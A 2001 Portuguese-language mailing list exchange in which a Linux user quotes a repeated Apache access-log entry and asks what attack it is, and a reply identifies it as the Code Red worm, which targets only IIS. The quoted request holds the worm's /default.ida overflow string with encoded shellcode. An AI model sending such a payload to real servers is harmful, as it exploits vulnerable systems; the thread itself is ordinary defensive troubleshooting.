A mensagem abaixo est� sendo registrada no /var/log/httpd/access_log em
m�dia a cada minuto, proveniente dos mais variados IPs...� como se fosse
algum tipo de ataque padr�o, automatico, sendo gerado em origens
diferentes!!!
Algu�m saberia traduzir que tipo de ataque seria esse?
200.207.153.166 - - [02/Sep/2001:22:51:49 -0300] "GET
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%
u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
HTTP/1.0" 404 292
Code Red, mas a varia��o do worm at� agora, pelo que sei, ataca somente
IIS - (WinNt - 2000), ent�o n�o se preocupe ....
[]'s
Waldirio
Assinantes em 02/09/2001: 2294
Mensagens recebidas desde 07/01/1999: 130657
Historico e [des]cadastramento: http://linux-br.conectiva.com.br
Assuntos administrativos e problemas com a lista:
mailto:[EMAIL PROTECTED]
